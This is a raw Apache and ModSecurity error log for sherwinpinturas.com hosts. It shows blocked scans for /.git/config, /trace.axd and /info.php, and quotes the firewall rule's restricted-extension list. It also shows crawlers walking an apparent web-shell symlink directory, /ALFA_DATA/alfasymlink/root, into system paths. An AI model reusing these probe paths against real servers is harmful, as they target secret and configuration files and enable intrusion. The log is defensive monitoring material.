[Sun Oct 25 06:23:02.770423 2026] [security2:error] [pid 2806341:tid 2806341] [client 142.93.0.66:60382] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "bases1.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "at3Yhl7qbMmJbBwRWmCzxwAAAAA"]
[Sun Oct 25 06:23:02.770471 2026] [security2:error] [pid 2806341:tid 2806341] [client 142.93.0.66:60382] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "bases1.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "at3Yhl7qbMmJbBwRWmCzxwAAAAA"]
[Sun Oct 25 06:23:03.032994 2026] [security2:error] [pid 2815600:tid 2815600] [client 167.71.81.114:54156] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "bases3.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "at3Yh94QyCgjF7SJx4et8gAAAAo"]
[Sun Oct 25 06:23:03.033246 2026] [security2:error] [pid 2815600:tid 2815600] [client 167.71.81.114:54156] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "bases3.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "at3Yh94QyCgjF7SJx4et8gAAAAo"]
[Sun Oct 25 06:23:03.033513 2026] [security2:error] [pid 2815600:tid 2815600] [client 167.71.81.114:54156] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "bases3.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "at3Yh94QyCgjF7SJx4et8gAAAAo"]
[Sun Oct 25 06:23:03.768210 2026] [security2:error] [pid 2815602:tid 2815602] [client 138.68.144.227:50628] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "bases2.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "at3Yh9y-_GHm1dX7tKN2uAAAABA"]
[Sun Oct 25 06:23:03.768452 2026] [security2:error] [pid 2815602:tid 2815602] [client 138.68.144.227:50628] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "bases2.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "at3Yh9y-_GHm1dX7tKN2uAAAABA"]
[Sun Oct 25 06:23:03.768739 2026] [security2:error] [pid 2815602:tid 2815602] [client 138.68.144.227:50628] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "bases2.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "at3Yh9y-_GHm1dX7tKN2uAAAABA"]
[Sun Oct 25 06:23:03.917778 2026] [security2:error] [pid 2806347:tid 2806347] [client 206.81.24.74:55242] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "bases4.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "at3Yh4SClIr6gkpjLO7WLQAAAAg"]
[Sun Oct 25 06:23:03.918029 2026] [security2:error] [pid 2806347:tid 2806347] [client 206.81.24.74:55242] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "bases4.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "at3Yh4SClIr6gkpjLO7WLQAAAAg"]
[Sun Oct 25 06:23:03.918322 2026] [security2:error] [pid 2806347:tid 2806347] [client 206.81.24.74:55242] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "bases4.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "at3Yh4SClIr6gkpjLO7WLQAAAAg"]
[Sun Oct 25 06:23:04.096950 2026] [security2:error] [pid 2815598:tid 2815598] [client 64.226.65.160:45786] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "bases1.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "at3YiDVwPkE8CYAT0MeUoAAAAAU"]
[Sun Oct 25 06:23:04.097214 2026] [security2:error] [pid 2815598:tid 2815598] [client 64.226.65.160:45786] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "bases1.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "at3YiDVwPkE8CYAT0MeUoAAAAAU"]
[Sun Oct 25 06:23:04.097475 2026] [security2:error] [pid 2815598:tid 2815598] [client 64.226.65.160:45786] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "bases1.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "at3YiDVwPkE8CYAT0MeUoAAAAAU"]
[Sun Oct 25 06:23:06.845618 2026] [core:error] [pid 2815607:tid 2815607] (13)Permission denied: [client 23.23.103.31:62800] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/system/memory/memory11/node0/cpu1/driver/cpu0/firmware_node/subsystem/devices/LNXSYBUS:00/PNP0C0F:00/subsystem/drivers/hardware_error_device/uevent
[Sun Oct 25 06:23:07.591293 2026] [security2:error] [pid 2815596:tid 2815596] [client 85.208.96.205:12108] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/var/softaculous/clientexec/php56/upgrade.php"] [unique_id "at3Yi9hd2MbOPZ0wJRMOAQAAAAE"]
[Sun Oct 25 06:23:07.591329 2026] [security2:error] [pid 2815596:tid 2815596] [client 85.208.96.205:12108] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/var/softaculous/clientexec/php56/upgrade.php"] [unique_id "at3Yi9hd2MbOPZ0wJRMOAQAAAAE"]
[Sun Oct 25 06:23:09.857469 2026] [proxy_fcgi:error] [pid 2815602:tid 2815602] [client 206.81.24.74:55336] AH01071: Got error 'Primary script unknown'
[Sun Oct 25 06:23:10.666356 2026] [security2:error] [pid 2806345:tid 2806345] [client 167.99.210.137:37170] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "bases2.sherwinpinturas.com"] [uri "/info.php"] [unique_id "at3YjkXTOYRMtW9O7Qy2sAAAAAI"]
[Sun Oct 25 06:23:10.666401 2026] [security2:error] [pid 2806345:tid 2806345] [client 167.99.210.137:37170] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "bases2.sherwinpinturas.com"] [uri "/info.php"] [unique_id "at3YjkXTOYRMtW9O7Qy2sAAAAAI"]
[Sun Oct 25 06:23:11.391204 2026] [security2:error] [pid 2806348:tid 2806348] [client 167.71.81.114:41444] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".axd"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "bases3.sherwinpinturas.com"] [uri "/trace.axd"] [unique_id "at3Yjw-YVEbWS5meiuhhuwAAAAw"]
[Sun Oct 25 06:23:11.391810 2026] [security2:error] [pid 2806348:tid 2806348] [client 167.71.81.114:41444] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "bases3.sherwinpinturas.com"] [uri "/trace.axd"] [unique_id "at3Yjw-YVEbWS5meiuhhuwAAAAw"]
[Sun Oct 25 06:23:11.392088 2026] [security2:error] [pid 2806348:tid 2806348] [client 167.71.81.114:41444] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "bases3.sherwinpinturas.com"] [uri "/trace.axd"] [unique_id "at3Yjw-YVEbWS5meiuhhuwAAAAw"]
[Sun Oct 25 06:23:12.062957 2026] [security2:error] [pid 2800259:tid 2800259] [client 138.68.144.227:33134] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".axd"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "bases2.sherwinpinturas.com"] [uri "/trace.axd"] [unique_id "at3YkL2dQNaDuK1aHdoltgAAAAs"]
[Sun Oct 25 06:23:12.063300 2026] [security2:error] [pid 2800259:tid 2800259] [client 138.68.144.227:33134] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "bases2.sherwinpinturas.com"] [uri "/trace.axd"] [unique_id "at3YkL2dQNaDuK1aHdoltgAAAAs"]
[Sun Oct 25 06:23:12.063571 2026] [security2:error] [pid 2800259:tid 2800259] [client 138.68.144.227:33134] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "bases2.sherwinpinturas.com"] [uri "/trace.axd"] [unique_id "at3YkL2dQNaDuK1aHdoltgAAAAs"]
[Sun Oct 25 06:23:12.857083 2026] [security2:error] [pid 2815602:tid 2815602] [client 206.81.24.74:44058] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".axd"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "bases4.sherwinpinturas.com"] [uri "/trace.axd"] [unique_id "at3YkNy-_GHm1dX7tKN2vgAAABA"]
[Sun Oct 25 06:23:12.857407 2026] [security2:error] [pid 2815602:tid 2815602] [client 206.81.24.74:44058] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "bases4.sherwinpinturas.com"] [uri "/trace.axd"] [unique_id "at3YkNy-_GHm1dX7tKN2vgAAABA"]
[Sun Oct 25 06:23:12.857710 2026] [security2:error] [pid 2815602:tid 2815602] [client 206.81.24.74:44058] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "bases4.sherwinpinturas.com"] [uri "/trace.axd"] [unique_id "at3YkNy-_GHm1dX7tKN2vgAAABA"]
[Sun Oct 25 06:23:13.006946 2026] [security2:error] [pid 2815608:tid 2815608] [client 64.226.65.160:60952] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".axd"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "bases1.sherwinpinturas.com"] [uri "/trace.axd"] [unique_id "at3YkSK0zo25roaoS0zXmgAAABY"]
[Sun Oct 25 06:23:13.007310 2026] [security2:error] [pid 2815608:tid 2815608] [client 64.226.65.160:60952] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "bases1.sherwinpinturas.com"] [uri "/trace.axd"] [unique_id "at3YkSK0zo25roaoS0zXmgAAABY"]
[Sun Oct 25 06:23:13.007566 2026] [security2:error] [pid 2815608:tid 2815608] [client 64.226.65.160:60952] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "bases1.sherwinpinturas.com"] [uri "/trace.axd"] [unique_id "at3YkSK0zo25roaoS0zXmgAAABY"]
[Sun Oct 25 06:23:18.865327 2026] [ssl:error] [pid 2806345:tid 2806345] (70014)End of file found: [client 3.224.215.150:61657] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 06:23:31.009240 2026] [ssl:error] [pid 2815599:tid 2815599] (70014)End of file found: [client 100.28.204.82:2894] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 06:23:35.083779 2026] [ssl:error] [pid 2815602:tid 2815602] (70014)End of file found: [client 3.219.80.71:18417] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 06:23:43.796045 2026] [ssl:error] [pid 2815601:tid 2815601] (70014)End of file found: [client 44.209.89.189:61818] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 06:23:51.062222 2026] [ssl:error] [pid 2815606:tid 2815606] (70014)End of file found: [client 44.214.19.8:49560] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 06:23:54.999954 2026] [ssl:error] [pid 2815596:tid 2815596] (70014)End of file found: [client 3.210.114.189:4976] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 06:24:06.768197 2026] [ssl:error] [pid 2815608:tid 2815608] (70014)End of file found: [client 107.20.224.184:19156] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 06:24:23.204564 2026] [core:error] [pid 2815596:tid 2815596] (13)Permission denied: [client 54.89.90.224:6175] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/firmware_node/device:10/subsystem/devices/device:06/physical_node/driver/0000:00:05.0/rescan
[Sun Oct 25 06:24:30.847545 2026] [ssl:error] [pid 2815602:tid 2815602] (70014)End of file found: [client 44.223.116.149:13420] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 06:24:31.312858 2026] [core:error] [pid 2815599:tid 2815599] (13)Permission denied: [client 185.191.171.15:52788] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/x86_lbr/usersize
[Sun Oct 25 06:24:38.886176 2026] [ssl:error] [pid 2800259:tid 2800259] (70014)End of file found: [client 52.6.232.201:18893] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 06:24:43.145469 2026] [ssl:error] [pid 2815601:tid 2815601] (70014)End of file found: [client 3.229.2.217:57834] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 06:24:55.335752 2026] [ssl:error] [pid 2815605:tid 2815605] (70014)End of file found: [client 3.211.181.86:2788] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 06:24:58.644829 2026] [core:error] [pid 2815599:tid 2815599] (13)Permission denied: [client 185.191.171.2:36910] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kmalloc-rcl-64/remote_node_defrag_ratio
[Sun Oct 25 06:24:59.061516 2026] [ssl:error] [pid 2815608:tid 2815608] (70014)End of file found: [client 52.71.203.206:46609] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 06:25:02.972035 2026] [ssl:error] [pid 2815601:tid 2815601] (70014)End of file found: [client 52.3.156.186:3436] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 06:25:06.838517 2026] [ssl:error] [pid 2815606:tid 2815606] (70014)End of file found: [client 54.83.240.58:29616] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 06:25:15.335958 2026] [ssl:error] [pid 2815596:tid 2815596] (70014)End of file found: [client 52.204.81.148:8996] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 06:25:27.055917 2026] [ssl:error] [pid 2815608:tid 2815608] (70014)End of file found: [client 18.214.124.6:5397] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 06:25:29.493217 2026] [core:error] [pid 2800259:tid 2800259] (13)Permission denied: [client 185.191.171.2:14250] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/anon_vma/align
[Sun Oct 25 06:25:43.259207 2026] [ssl:error] [pid 2815605:tid 2815605] (70014)End of file found: [client 54.166.126.132:12164] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 06:25:46.906819 2026] [core:error] [pid 2815602:tid 2815602] (13)Permission denied: [client 85.208.96.201:14904] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/sgpool-128/cpu_slabs
[Sun Oct 25 06:25:51.035615 2026] [ssl:error] [pid 2815608:tid 2815608] (70014)End of file found: [client 23.21.179.27:49028] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 06:25:59.225490 2026] [ssl:error] [pid 2815601:tid 2815601] (70014)End of file found: [client 100.28.49.152:2813] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 06:26:03.091288 2026] [ssl:error] [pid 2806348:tid 2806348] (70014)End of file found: [client 52.3.156.186:57856] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 06:26:15.556011 2026] [ssl:error] [pid 2815605:tid 2815605] (70014)End of file found: [client 98.80.130.239:12060] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 06:26:22.960394 2026] [core:error] [pid 2815599:tid 2815599] (13)Permission denied: [client 34.231.118.144:4034] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/sys/class/tty/tty12/subsystem/console/subsystem/ttyS0/device/driver/bind
[Sun Oct 25 06:26:26.423671 2026] [core:error] [pid 2815608:tid 2815608] (13)Permission denied: [client 185.191.171.13:21296] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/lsm_inode_cache/min_partial
[Sun Oct 25 06:26:31.069040 2026] [core:error] [pid 2815601:tid 2815601] (13)Permission denied: [client 18.209.137.234:29859] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/drm/card0/device/firmware_node/subsystem/devices/PNP0A03:00/physical_node/firmware_node/device:1c/subsystem/drivers/hardware_error_device/bind
[Sun Oct 25 06:26:35.048385 2026] [ssl:error] [pid 2815606:tid 2815606] (70014)End of file found: [client 34.231.181.240:9304] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 06:26:45.417366 2026] [ssl:error] [pid 2815599:tid 2815599] (70014)End of file found: [client 185.191.171.14:29648] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 06:26:51.722598 2026] [core:error] [pid 2806348:tid 2806348] (13)Permission denied: [client 52.2.83.227:9285] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:12/subsystem/devices/device:1a/subsystem/devices/device:03/physical_node/driver/uevent
